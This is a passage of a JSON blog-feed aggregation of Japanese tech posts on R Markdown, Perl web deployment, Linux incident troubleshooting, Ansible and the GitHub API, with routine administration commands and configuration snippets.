MarkdownでWord文書を作ろう」を読んでます。Rmdを扱った商業誌にも、同書ほどRmdファイルのYAMLフロントマターの書式を丁寧に書いている本はないのではないだろうか。使えれば良いというスタンスだったのもあって、YAMLのフロースタイルとか、始めて学びました。しかし、これだけ詳しく書いてあるのに改行のことに触れられていないな、とふと。","link":"https://blog.atusy.net/2018/10/27/linbreaks-in-yaml-front-matter-of-rmd/","isoDate":"2018-10-27T00:00:00.000Z","dateMiliSeconds":1540598400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Plotlyで軸比を1:1に固定する","contentSnippet":"今迄Plotly.jsを使いたい時は、元の図を ggplot2 パッケージで作成し、 plotly::ggplotly() で変換していた。しかし、どうもパフォーマンスが悪い気がするので、Plotlyネイティブに書いてみようと思った。","link":"https://blog.atusy.net/2018/10/26/plotly-fixed-axes/","isoDate":"2018-10-26T00:00:00.000Z","dateMiliSeconds":1540512000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown で PlantUML","contentSnippet":"@niszet0 さんの “R MarkdownでWord文書を作ろう” を摘み食いしてます (以下RmdでWord本).ちゃんとしたいずれレビューはいずれするとして,気付いたところを少しずつメモしていきたい.","link":"https://blog.atusy.net/2018/10/25/plantuml-on-rmd/","isoDate":"2018-10-25T00:00:00.000Z","dateMiliSeconds":1540425600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"結婚式で使った楽曲","contentSnippet":"9/29に結婚式を挙げました。なんとこの日は私の愛すDo As Infinityのデビュー日。ゆかりんが登場したことで、一部が騒然(?)としましたが、Do As Infinityメドレーなど、私の趣味全開です。","link":"https://blog.atusy.net/2018/10/22/bridal-music/","isoDate":"2018-10-22T00:00:00.000Z","dateMiliSeconds":1540166400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"TokyoR 73 行ってきました","contentSnippet":"2018年10月20日はJuliaなんちゃらやらなんやらと沢山の勉強会が同時開催された日だったらしいですね。私はTokyoR 73を選んで「ggplot2で図を並べる」と題して facet_grid() 、 facet_wrap() 、 patchwork パッケージについて作例交えて話してきました。","link":"https://blog.atusy.net/2018/10/21/tokyor73/","isoDate":"2018-10-21T00:00:00.000Z","dateMiliSeconds":1540080000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplotのリストの表示を高速化する","contentSnippet":"大きなデータを用いたggplotのリストや,大量のggplotのリストを高速に描写するための関数 print_gglist を作りました.devtools::install_github(\'atusy/ggAtusy\')で遊べます.はじめにggplot2パッケージで作成したプロット (ggplotオブジェクト) はprintされる段になって,プロットに必要な計算を行っている.","link":"https://blog.atusy.net/2018/10/16/accelerate-list-of-ggplot/","isoDate":"2018-10-16T00:00:00.000Z","dateMiliSeconds":1539648000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Antergos導入","contentSnippet":"自宅用PCにAntergosを導入しました.ppaを足すも.debや.tar.gzを落とすもなんかかったるくなってAURが楽しそうなArchlinux系列を試すことにしました.","link":"https://blog.atusy.net/2018/10/11/hello-antergosmd/","isoDate":"2018-10-11T00:00:00.000Z","dateMiliSeconds":1539216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ローカル環境でAnsibleの鍵交換がめんどくさい貴方に送るプラクティス","contentSnippet":"はじめに平成の時分も終わりに近づく中、野分立ち尽くす天災に人々は翻弄され、お家で過ごすのを余儀なくされる日が多いように思います。^1今日のような一日は、自然とQiitaにたどり着き、PVが増…","link":"https://qiita.com/skikkh/items/ca236c512d314691b35c","isoDate":"2018-09-30T09:33:37.000Z","dateMiliSeconds":1538300017000,"authorName":"skikkh","authorId":"skikkh"},{"title":"新人が学ぶAnsibleもくもく会 ネットワーク編 報告会","contentSnippet":"はじめにお久しぶりのエントリになります。新卒でインフラエンジニアをしている小心者のひよこです。このような職種に身をおいてはや5ヶ月というところで、世の中を幅広く見渡してみると、どうやら世は大…","link":"https://qiita.com/skikkh/items/156c677e07ffc6b5b4ef","isoDate":"2018-08-29T14:34:09.000Z","dateMiliSeconds":1535553249000,"authorName":"skikkh","authorId":"skikkh"},{"title":"roxygen2タグまとめ","contentSnippet":"まとめTips@title、@description、@details について@importFrom、@seealso について@examplesをcheckしたくない時if (interactive()) {}でコードを囲む\\\\dontrun{}でコードを囲むその他References変更履歴Roxygen2のタグについての情報が複数箇所に分散していて調べるのが大変なのでまとめた。","link":"https://blog.atusy.net/2018/08/28/roxygen2matome/","isoDate":"2018-08-28T00:00:00.000Z","dateMiliSeconds":1535414400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"欠損値の発生過程の類別","contentSnippet":"先日、欠損値の発生過程の例を図示してTweetしたところ、思ったより反響がよかったので、図をブラシュアップの上、記事に残すことにした。俄仕込みなので、間違いがあったらTwitterで指摘して下さい。","link":"https://blog.atusy.net/2018/08/25/missing-value-type/","isoDate":"2018-08-25T00:00:00.000Z","dateMiliSeconds":1535155200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmdでchunkごとの実行時間を計測","contentSnippet":"Jupyter Notebookでは、コードブロック冒頭で %%timeit と唱えると、ブロックの評価に要した時間を表示できる。https://jakevdp.github.io/PythonDataScienceHandbook/01.07-timing-and-profiling.htmlこれをRmdでもできないかなー? と思って knit_hooks() を利用してみた。knit_hooks() の使い方の詳細はこちら。","link":"https://blog.atusy.net/2018/08/18/time-each-chunk/","isoDate":"2018-08-18T00:00:00.000Z","dateMiliSeconds":1534550400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"パラメータ付きRmdを試す","contentSnippet":"パラメータ付きRmdが便利そうだと思ったのでメモと実験パラメータ付きRmdとはYAMLヘッダーの params で作成される変数のリストを用いたRmdうまく使えばYAMLヘッダーさえ弄ればOKな半自動レポーティングの助けになると思われる。","link":"https://blog.atusy.net/2018/08/17/rmd-parameterized/","isoDate":"2018-08-17T00:00:00.000Z","dateMiliSeconds":1534464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R3.5系ではファイル同期ソフトでパッケージを同期しないように","contentSnippet":"タイトル通り、R3.5系ではファイル同期ソフトでパッケージを同期しないようにしましょう。同期しておくとある環境にインストールしたパッケージを他の環境でもすぐさま利用できて便利だったのですが……。","link":"https://blog.atusy.net/2018/07/31/dont-sync-pkg-r3-5/","isoDate":"2018-07-31T00:00:00.000Z","dateMiliSeconds":1532995200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"xetexでunicode文字","contentSnippet":"$\\\\LaTeX{}$ で μ や α など特殊文字を直打ちすると、XeTeXを使っている場合は、\\\\setmainfont{IPAMincho}など、ユニコードに対応したフォントを使うように指定する。","link":"https://blog.atusy.net/2018/07/09/xelatex%E3%81%A7utf8%E6%96%87%E5%AD%97/","isoDate":"2018-07-09T00:00:00.000Z","dateMiliSeconds":1531094400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub pages with Rmarkdown","contentSnippet":"遅蒔きながら、Rのblogdownパッケージを使ってblogを始めてみた。“Rとblogdownでかんたんにgithub.io上にブログを使ってみよう!!”を参考にしたのだが、何点かハマったところがあったのでメモ。baseurl = \\"/\\"トップページが404の時はもう一度pushしてみる記事の規定拡張子はoptionで指定option(blogdown.ext = \'.Rmd\')参考URLにある option(blogdown.Rmd = TRUE) は過去のもの?","link":"https://blog.atusy.net/2018/07/05/github-pages-with-rmarkdown/","isoDate":"2018-07-05T00:00:00.000Z","dateMiliSeconds":1530748800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"[Laravel] バリデーションデータに前処理したい","contentSnippet":"[Laravel] バリデーションデータに前処理したい当てはまるケースフォーム入力データとデータベース保存データの形式が違う.例えば…全角・半角変換先頭・末尾の空白を取り除くユーザーには0…","link":"https://qiita.com/toshikish/items/f38b691adbebd7ba7720","isoDate":"2018-06-12T09:27:45.000Z","dateMiliSeconds":1528795665000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Git リポジトリを分割する","contentSnippet":"以下のようなディレクトリ構造のリポジトリを分割する方法を場合分けしてまとめます。repo1/ ├─ subdir/ ├─ aaa ├─ bbb ├─ ccc └─ dddケース1:サブディレクト…","link":"https://qiita.com/toshikish/items/3529f75c511a65723798","isoDate":"2018-04-11T10:14:22.000Z","dateMiliSeconds":1523441662000,"authorName":"toshikish","authorId":"toshikish"},{"title":"障碍対応と私","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 18日目の記事です昨日は@yashims85さんのAndroid drawableは画像を入れておくだけじゃないでした。今日は障碍の話です。普段障碍対応しているときにやってること考えてることをざっくりと時系列を追って書いていきたいと思います。コンテキストとしてはLinuxサーバでwebサービスをやっていると思っていただければと思います。障碍の検知webサービスを運営していれば、何かしらの監視システムからSlackなりIRCなりメールなり電話なりでアラートの通知が来ると思います。対応報告障碍対応をしている旨をメールなり、何かの連絡手段で伝えます。同じく見ている人がいれば調査作業の分担もできます。状況把握どこで障碍?アラートの通知内容にどのサーバで何が起きた的なことが書いてあるはずなので、それを確認します。だいたいの組織に於いてはサーバ管理表的なものがwebなりExcelなり設定ファイルなりにあるはずなので、そこと照らし合わせてどのプロジェクトのどのロールなのかを把握します。直前に何をした? いつもと違うことは何?webアプリケーションであれば直前に入れた変更が原因かもしれません。また、ちょっと前に入れていた変更だが、cronで時限発火したというケースも考えられるかも知れません。イベント開始で急にトラフィックが上がったと言うことも考えられるかも知れません。普段と変わったことは何かということが把握出来れば対処の幅が広がります。影響範囲は?サービス全体なのか、サービスの1機能の障碍なのか、ミドルウェア障碍なのか、影響がどの範囲に及んでいるのかを見ます。ミドルウェア障碍であれば、最近であれば、冗長化されてるのが普通なので、サービスから切り離して、監視から外せば終わりというパターンも多いです。サービス全体が落ちている場合は、ひとまず重要な関係者に状況の1次連絡すぐにした方が良いでしょう。接続出来る?そもそも、該当サーバに接続出来ない場合は、できることはほぼないので、該当サーバをサービスから外した上で、監視対象から外します。(単体のサーバ障碍の場合)# pingは通る?ping ${IP}# sshできる?ssh ${IP}ログの確認該当サーバ上で動いているミドルウェアやアプリケーションサーバのエラーログを主に見ます。だいたいこの辺に重要な情報が出力されている可能性があります。システムのログも確認した方が良いです。主にsyslogやkernelログを見ると良いでしょう。# syslogを見るless /var/log/syslog# kernelログを見るless /var/log/kern.log# kernelログを見る2dmesgサーバ状態の確認負荷の関係で障碍が起きているのであれば、現在のサーバの状態を確認しましょう。以下のようなコマンドが現状把握に役立つでしょう。# loadaverageおよびログイン中のユーザを見るw# 変なプロセス無いか見るps -ef# orps auxwwww# 開いているポートを確認するnetstat -tlnp# ネットワークコネクションを確認するnetstat -taopen# なにかCPU使いまくってないか見るtop# 現在の負荷の経過を見るdstat -tamsl 5# 過去の負荷情報を見る## CPUsar## memorysar -r## lasar -q対処直前のコミットにバグを入れ込んでしまったのであればリバートすれば解決するでしょうし、特定のサーバ落ちたのであれば、サービスから外してあげるだけで良いかも知れません。障碍の内容によって対処方法は様々です。ここで気を付けたいのは二次災害を起こさないことです。可能であれば、コマンドなり対処スクリプトのレビューをしてもらったり、現状認識に間違いがないかを周りの人にしてもらうと良いでしょう。(往々にして一人で障碍対応せざるを得ない場合もありますが。。)事後報告障碍対応が終わったら、記憶が新鮮なうちに下記の内容をまとめてしかるべき場所に投稿します。この辺の報告のフォーマットはだいたいの組織において決まっていることが多いでしょう。障碍内容影響範囲経過対処方法将来の対策面倒くさがらずに事実をなるべく詳細に書いておくと未来の自分や自組織のためになると思います。私の組織でも過去の障碍報告がだいぶ良い感じにデータベースになっており、たまに読み返すと気付きが得られます。また、この障碍報告を元に、同種の障碍をなるべく起こさない仕組み作りをしていくことが肝要だと思います。終わりに自分が障碍対応しているときにやってること、考えてることをざっくり書いてきました。誰にやり方を教わったわけでもないので、そこは違うとかこうした方がいいとかあれば、いただけると幸いです。明日は、@lycoris102さんのGameJam部 活動年間活動報告です。きっと面白い話なのではないでしょうか。","link":"https://blog.masasuzu.net/entry/2015/12/18/troubleshooting","isoDate":"2015-12-18T13:00:00.000Z","dateMiliSeconds":1450443600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#chibapm Chiba.pm#7に参加しました。","contentSnippet":"参加しました。雑なスライドですみません。スライド中に出てきてるやつはどれも五反田のお店で出てきます。五反田企業のガイアックスさんとかモバイルファクトリーさんはPerlの会社なので、美味しいごはんを食べたい人は検討してみてはいかがでしょうか。そういえば、Chiba.pmの開催回数がKichijoji.pm、Gotanda.pmに抜かされそうです。。","link":"https://blog.masasuzu.net/entry/2015/12/12/chiba.pm-7","isoDate":"2015-12-12T09:39:37.000Z","dateMiliSeconds":1449913177000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-12-12-chiba.pm7","contentSnippet":"Chiba.pm#7 2015年をふりかえる","link":"https://speakerdeck.com/masasuzu/2015-12-12-chiba-dot-pm7","isoDate":"2015-12-12T05:00:00.000Z","dateMiliSeconds":1449896400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Plack/PSGIなwebアプリケーションの実行環境","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 11日目の記事です※ 投稿内容は私個人の意見であり、所属企業・部門見解ならびに技術戦略を代表するものではありません。昨日は@rymizukiさんのnpmライブラリの運用と管理についてでした。今日はPerlの話です。お仕事やプライベートでPerlのwebアプリケーションを書くことが多く、いろいろ知見が溜まってきてるので、ここで少し紹介しようと思います。今回はPlack/PSGIなwebアプリケーションの実行環境の話です。mod_perlなアプリケーションとはちょっとコンテキストが違います。少しかっちりコンテキストに近いです。個人で軽くwebアプリケーション立てるならもう少しゆるふわでも問題ないはずです。OSUbuntuのLTSを使うことが多いです。Ubuntu前提の内容が後に続きます。PerlSystem Perlは使ってません。OS/ディストリビューションが変わってもなるべくそのまま動くようにしたいためです。perl-buildで独自ビルドしたPerlを使います。インストール場所としては、 /usr/local/perl/perl-5.${VERSION} に置きます。Perlを独自ビルドしたものをDebian package化して実行環境にはインストールします。他の方法としては、ビルド済みのperlをtarで固めて、配布するというのもあります。どちらでも構わないのですが、ローカルネットワークにaptサーバ立てている関係で、Debian packageの方が運用しやすいのです。また、perlのマイナーバージョンアップの際もDebian packageを作り直した上で、 apt-get upgrade (or aptitude safe-upgrade)で完結するので、aptの操作に慣れていて楽というのもあります。モジュール管理今風にcpanfileでモジュール管理してます。モジュールインストールはCartonを使ってます。Cartonの後継でCarmelも開発されてます。個人的にはそろそろ触っておきたいところです。また、cpanfile.snapshotもレポジトリに入れています。一般的なモジュールは特定の(古い)バージョンに依存せずに動くべきですが、依存モジュールのバージョン違いによって現在動いているアプリケーションが壊れるのを防ぐために、バージョン固定します。cpanfile.snapshotがある状態で下記のように carton install してあげると、どの環境でも同じバージョンのモジュールがインストールされます。carton install --deployment --without develop,test今やってないですが、別方法としては、モジュールがインストール済みの状態で、 carton bundle すると vendar/ にモジュールのtarが固められるので、それもレポジトリ管理した上で、下記の様にインストールするという手もあります。インストールの際は vendor/bin/carton にfatpackされたcartonコマンドが入るのでそれを使います。(アプリ実行環境にcartonを敢えて入れる必要は無い)# 依存モジュールを固めるcarton bundle# インストール# env.shは後述./script/env.sh vendor/bin/carton install --cached --deployment --without develop,testさらに別方法としては、ビルドサーバで依存モジュールをビルドした上で、ディレクトリごと実行環境にrsyncしてあげる方法です。ビルドサーバを運用しているならば、この方法でも良いでしょう。参照Carton考2014carton bundle && carton install --cachedの使いどころ独自モジュールなるべく、独自モジュールは使わない方が良いのですが、個人的な事情などで、CPANに公開出来ないモジュールに関しては、OrePAN2 でDarkpanを作ってそこからローカルに配信するようにしてます。OrePAN2のサーバを簡単に立ち上げられるOrePAN2::Serverがありますが、一時期は使っていましたが、モジュールのアップロード機能は別にいらないなどの理由で今はwebサーバから静的配信してます。環境変数プロジェクトのレポジトリに config/env.rc という名前で、アプリケーションを動かすために必要な環境変数を定義したファイルを作ります。PERL5_VERSION=\\"22\\"export PROJECT_BASE=\\"/path/to/project\\"export PERL_CARTON_MIRROR=\\"http://orepan.local/\\"export PERL5LIB=\\"${PROJECT_BASE}/local/lib/perl5:${PROJECT_BASE}/lib\\"export PATH=\\"${PROJECT_BASE}/local/bin:/usr/local/perl/perl-5.${PERL5_VERSION}/bin:${PATH}\\"export PLACK_PORT=5555また、 script/env.sh という名前で config/env.rc を読み込んだ上で、プログラムを実行するラッパースクリプトを作ります。スクリプトなどは基本的にこれを通して実行します。#!/bin/bash -ue# 諸々環境変数を設定した上でコマンドを実行する君## env.sh perl hogehoge.pl#source /path/to/project/config/env.rcexec \\"$@\\"開発環境で、いちいちラッパースクリプト通すのが面倒な場合は、config/env.rc のsymlinkをプロジェクトルートに .envrc として張った上で、direnv使って済ましてしまう場合もあります。web サーバ起動スクリプトpsgiファイルを plackup するのではなく、こんな感じのスクリプトをscript/web みたいな名前で 用意してアプリケーションサーバを起動するようにしてます。#!/usr/bin/env perluse strict;use warnings;use lib \\"$ENV{PROJECT_BASE}/lib\\";use Plack::Loader;use SomeApplication::Config;use SomeApplication::Web::Handler;my $config = SomeApplication::Config->load();my $app = SomeApplication::Web->to_app();Plack::Loader->load( $config->{psgi}->{server}, %{ $config->{psgi}->{config} },)->run($app);また、このスクリプトをstart_serverを経由して起動することで、(graceful restartによる)ホットデプロイをできるようにしてます。start_server のプロセスにSIGHUPを送ると子プロセスのアプリケーションサーバを再起動してくれるのですが、 plackup コマンドで起動してると start_server に渡した引数をそのまま使ってplackup を再起動するので、 max_workers の数を変えたいときなど、 start_server 自体のプロセスを再起動しなくてはならないので不便です。なので、起動スクリプトを作ってます。そのほかにも理由があるのですが、参照リンクに詳しくあります。サーバ実装としては、StarletやGazelleを使ってます。参照PSGI/Plackアプリケーションの起動方法いろいろと本番環境アレコレ普通に使う Plack/PSGI ServerGraduate from .psgiデーモン管理現在はUpstartでアプリケーションサーバのデーモン管理してます。以下の理由で、個人的には好きでした(過去形)。最新のUbuntuはSystemdに変わってしまったので、将来的にはSystemdに移行することになるでしょう。Ubuntuに標準で入っていてサーバ起動時の自動起動してくれてデーモン異常終了時に自動再起動してくれて設定はわりかしわかりやすい/etc/init/web-some-application.conf みたいな名前でこんな設定ファイルを作りますdescription \'some web application\'author \'masasuzu \'start on runlevel [2345]stop on starting rc RUNLEVEL=[016]setuid webappsetgid webapp# 異常時に再起動するrespawnscript . /path/to/project/config/env.rc export PLACK_ENV=\\"production\\" exec ${PROJECT_BASE}/local/bin/start_server \\\\ --interval 10 \\\\ --port ${PLACK_PORT} \\\\ -- ${PROJECT_BASE}/script/service/webend script上記のファイルを作ると以下のように操作出来ます。reloadでSIGHUPが送れるので、アプリケーションサーバのstart_server経由のgraceful restartができます。# 起動service web-some-application start# 停止service web-some-application stop# (start_serverのプロセスごと)再起動service web-some-application restart# Plackサーバを再起動service web-some-application reloadアプリケーションサーバ以外も、ジョブのワーカーなども、独自に設定ファイルを作って、Upstart経由で起動したりしてます。Upstart以外の選択肢としては、先に挙げたSystemdの他、以下のものがあるでしょう。好みと要件に合わせて使えば良いと思います。daemontoolsSuvpervisordSystemd参照Server::Starterから学ぶhot deployの仕組みServer::Starter の --interval オプションは大切Upstart を使ってお手軽 daemon 化Upstart Intro, Cookbook and Best PractisesおわりにWAF(Web Application Framework)やログの話など膨らまそうと思えばもっと膨らませられますが、実行環境の話なので、ここまでで抑えておきます。ざっくりと、Plack/PSGIなアプリケーションの実行環境について説明してきました。PerlでWebアプリケーションを作る時に何か参考になれば幸いです。また、もっと良い方法があれば、教えていただけるとありがたいです。明日は、@nekobato さんです webpackのなにか面白い話があるんじゃないかとわくどきしてます。","link":"https://blog.masasuzu.net/entry/2015/12/11/plack-psgi-exec-env","isoDate":"2015-12-11T04:30:00.000Z","dateMiliSeconds":1449808200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Github APIを使おう","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 4日目の記事です今日は、Github APIの話です。Githubの管理作業は他のWebサービスと同じく基本Webコンソールでできます。ただ、Organizationとかを管理してる場合、ある程度以上規模が大きくなると、定型的な管理作業が増えて、Webでぽちぽちやるには煩雑でつらくなってきます。ここで怠惰エンジニア*1はどうにかこの定型作業を自動化/スクリプト化できないかなと考え始めます。幸い、GithubにはAPIがあるので、これを利用して要件に合わせて、実装することができます。ドキュメントは以下の場所にあるので、各APIの使い方などはそちらを参照してください。GitHub API v3 | GitHub Developer Guideapiアクセスを投げるpublicな情報を取得するには普通にcurlでGET発行するだけで、取得出来ます。curl https://api.github.com/users/masasuzu/reposが、これだけでは、privateな情報にアクセスできません。ので、Basic認証をしてアクセスをします。curl -u ${USER}:${PASSWORD} https://api.github.com/orgs/some_privete/reposただ、この場合、このアカウントで出来ることが全て実行出来てしまうので、下記のリンクからアクセストークンを発行して、権限を絞ってAPIにアクセスするのが望ましいです。アクセストークンは作成時にしか見れないので、ちゃんと書き留めておくようにしましょう。Personal access tokensアクセストークンを使用した場合、下記の3つの方法で認証出来ます。curl -u :${ACCESS_TOKEN} https://api.github.com/orgs/some_privete/reposcurl -H \'Authorization: token ${ACCESS_TOKEN}\' https://api.github.com/orgs/some_privete/reposcurl \'https://api.github.com/orgs/some_private/repos?access_token=${ACCESS_TOKEN}\'ドキュメントに各API発行に必要なscope(権限)が書いてあるので必要なscopeだけ付与してあげると良いです。perlでの選択肢今までで、APIアクセスする手段を得ることはできましたが、シェルスクリプトで処理を組み立てるのは、無謀なので、使い慣れてるプログラミング言語で実装したいところです。当社ではPerlを使い慣れてるエンジニアが多いので、ここではPerlのクライアントを紹介します。現在のところ以下の2つの選択肢があります。PithubNet::Github私はPithubを使っています。使い始めた時期においてPithubの方が更新されてそうだったからです。が、今見るとNet::Githubも更新されてるように見えます。他の言語での選択肢特にプログラミング言語にこだわりが無いのであれば、githubがメンテナンスしてるoctokitを使うと良いと思います。RubyとObjective C、.Netに対応してます。たぶん鉄板だと思います。(しかし、octokitのこのサンライズというかバンダイに怒られそうなデザインは大丈夫なのでしょうか?まとめ煩雑で定型的な作業はGithub APIで自動化すると良いPrivateな情報の操作はアクセストークンを発行してAPIを発行するPerlにはPithubとNet::Githubのクライアントライブラリがあるこだわりがなければ、クライアントはoctokit使うと良い明日は、 @mihyaeru21 さんです。iOS回りの面白いエントリが見れそうです。*1:プログラマの3大美徳の1つ","link":"https://blog.masasuzu.net/entry/2015/12/04/use_github_api","isoDate":"2015-12-04T14:47:44.000Z","dateMiliSeconds":1449240464000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #6 でLTしてきました。","contentSnippet":"gotanda-pm.connpass.comGotanda.pmでLTしてきました。今回のテーマは障碍でした。半分ネタのトークです。JSTQB Foundation Level のシラバスに載っているソフトウェアテストの7原則をもじったやつです。JSTQB認定テスト技術者資格-シラバス(学習事項)・用語集-言ってみれば、サービスに対して継続的にテストするのが監視なのでテストに対する原則が監視に対しても言えるんじゃないかなーという軽い思いつきから生まれました。無理矢理な部分もありましたが、わりかし当てはまってる部分もあったのではないかと思いました。トーク中美味しいにおいがしてきてつらかったです。(このエントリは懇親会の前に書かれてます)#gotandapm 美味しそうなにおいがして辛い。。。。— masasuzu? (@masasuz) September 17, 2015ガイアックスさん会場提供ありがとうございました。","link":"https://blog.masasuzu.net/entry/2015/09/17/Gotanda.pm6","isoDate":"2015-09-17T12:14:35.000Z","dateMiliSeconds":1442492075000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-09-17_gotanda.pm6","contentSnippet":"Gotanda.pm#6 LT\\r監視の7原則という半分ネタなトーク","link":"https://speakerdeck.com/masasuzu/2015-09-17-gotanda-dot-pm6","isoDate":"2015-09-17T04:00:00.000Z","dateMiliSeconds":1442462400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#yapcasia YAPC::Asia 2015でボランティアスタッフしてきた","contentSnippet":"今年のYAPC::Asiaは終わった。つつがなく終わりました。過去のエントリを見直すと2011、2012年は書くのサボっていたみたいでした。私のYAPC::Asia初参加は2010年で6回目の参加でした。#yapcasia YAPC::Asia 2014でボランティアスタッフやってきました - 目の前に僕らの道があるmasasuzu.hatenablog.jp#yapcasia YAPC::Asia Tokyo 2013に参加してきました。 - 目の前に僕らの道があるmasasuzu.hatenablog.jpYAPC::Asia 2010へ行ってきたよ。 - 目の前に僕らの道があるmasasuzu.hatenablog.jp今年のYAPCとの関わり方は個人スポンサー+ボランティアスタッフとして参加しました。個人スポンサーとしては4年目、ボランティアスタッフとしては3年目でした。今年のYAPCもすごい楽しかったです。特にここ1,2年でPerl関係の人たちの知り合いがすごい増えたので、いろんな人と話ができてすごい楽しかったです。トークの方は例年スタッフ業をやっていると聞けないので、(会場にいてもスタッフのお仕事に意識が行くので内容を聞き取れてないことが多い)、動画が上がったら気になっていたトークを追いたいと思います。さて、だいたい6年前からWebで、Perlでお仕事するようになってからYAPCにはいろいろなものをもらってきました。だからこそ、ボランティアスタッフをやったり、個人スポンサーになって自分がもらったものを間接的に他の人に与えられたらいいなと思ってやってきました。自分がもらったものを他の人も受け取ってもらえたらなら良いなと思います。YAPC::Asiaはいったん終わります。それ自体いろいろ思うところがありますし、残念ではあります。YAPC::Asiaが無くなっても地域PMなどのPerlのコミュニティ自体が無くなるわけではないので私も細々とコミュニティ活動していきます。ただ、全国的にPerlな人が集まってくるイベントが今のところ来年無いのは寂しいところです。もしどこかで動きがあるならお手伝いさせていただければなと思います。YAPC::Asiaお疲れ様でした。(初日の懇親会の後の二次会でいろんな人に迷惑かけてしまったようなのでものすごく反省しています。すみません。お酒気を付けます。。。会期中のつぶやきいくつかおしゃれなカップだ #yapcasia pic.twitter.com/NwWw30i3HW— masasuzu? (@masasuz) August 22, 2015#yapcasia Perl6! pic.twitter.com/2tJh6irctZ— masasuzu? (@masasuz) August 22, 2015#yapcasia 壇上から。お疲れさまでした!! pic.twitter.com/1MiU56gE4R— masasuzu? (@masasuz) August 22, 2015","link":"https://blog.masasuzu.net/entry/2015/08/23/YAPC_Asia","isoDate":"2015-08-23T10:17:16.000Z","dateMiliSeconds":1440325036000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#kichijojipm 吉祥寺.pmでLTしてきた","contentSnippet":"吉祥寺.pm (kichijojipm) #4 : ATNDatnd.org今回はPerlとPerl以外ということで、Perlの外の世界をつないでるもので一番最初に思いついたのがテンプレートエンジンだったので今回の発表になりました。自分のテンプレートの利用シーンは設定ファイルの自動生成ですね。テンプレートがあることで手作業で設定ファイルをいじる必要が基本的にはないので、手作業に起因ミスがないのが良いですよね。そのほかくりかえしの記述が必要なものもテンプレート使うと便利な場面が多いと思います。前回のLTが長すぎたので、真姫進行で行ったら、巻きすぎてしまいました。時間配分難しい。#kichijojipm 真姫すぎた。。— masasuzu? (@masasuz) July 10, 2015#kichijojipm 巻きすぎた。。— masasuzu? (@masasuz) July 10, 2015懇親会のお店はおしゃれな感じでさすが吉祥寺という感じでした。五反田とは違う。#kichijojipm 炙りマカレル pic.twitter.com/wpJTTnIvZF— masasuzu? (@masasuz) July 10, 2015他の人のスライドはこちらページからたどれると思います。吉祥寺.pm4終わりました - kichijojipm’s blogkichijojipm.hatenablog.com今回の吉祥寺.pmも楽しかったです。次回も参加したいです。余談1今回のKeynoteはAzusa Colorsを元にスライドを作りました。だいぶ良い感じにできました。ありがたいです。茜屋さんのイメージカラーのパープルを基調にしています。http://memo.sanographix.net/post/113681262780memo.sanographix.net余談2LTの途中で宣伝してましたが、五反田のモバイルファクトリーさんで7/31にCrystalの勉強会やるしいですよ。東京 Crystal 勉強会 #1 in 五反田 (2015/07/31 19:30〜)crystal.connpass.comGotandaは今技術的に熱い街です。そのほかGotanda.pmや五反田Perlみたいな勉強会も様々行われてます。","link":"https://blog.masasuzu.net/entry/2015/07/12/122011","isoDate":"2015-07-12T03:20:11.000Z","dateMiliSeconds":1436671211000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-07-10-kichijoji.pm4_yurui_template","contentSnippet":"テンプレートとPerlに関するゆるい話\\r\\r吉祥寺.pm #4","link":"https://speakerdeck.com/masasuzu/2015-07-10-kichijoji-dot-pm4-yurui-template","isoDate":"2015-07-10T04:00:00.000Z","dateMiliSeconds":1436500800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015年第二 四半期をふりかえる","contentSnippet":"7月にとうとうなりました。ざっくりふり返ります。お仕事mod_perl to PSGI/Plackこの四半期のメインタスクでした。弊社2事業部あるんですが、そのうちの片方の事業部のmod_perlアプリをPSGI/Plack化しました。後は事業部の人がちゃんとテストして、本番反映するだけです。もう一個の事業部のmod_perlアプリケーションは次の四半期に取りかかる予定です。雑感としては、mod_perl特有の機能はほぼ使ってないので、そんなに辛くは無かったです。どちらかというと、使っているモジュールが古すぎたり、SledgeのPlugin地獄だったりしてアプリの実装の方でちょこちょこはまることが多かったです。このあたりの話です。#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前に僕らの道があるmasasuzu.hatenablog.jpGitbucket地味にアップデートが出る度に追従してました。しかしながら、そこそこでかいレポジトリをGitbucketで管理するのはだいぶつらいことが見えてきました。まず、レポジトリブラウザが鬼のように重い。1日数10コミットするようなレポジトリだとまともに使えないので、ちょっと移行先を考えてます。Elasticsearch + 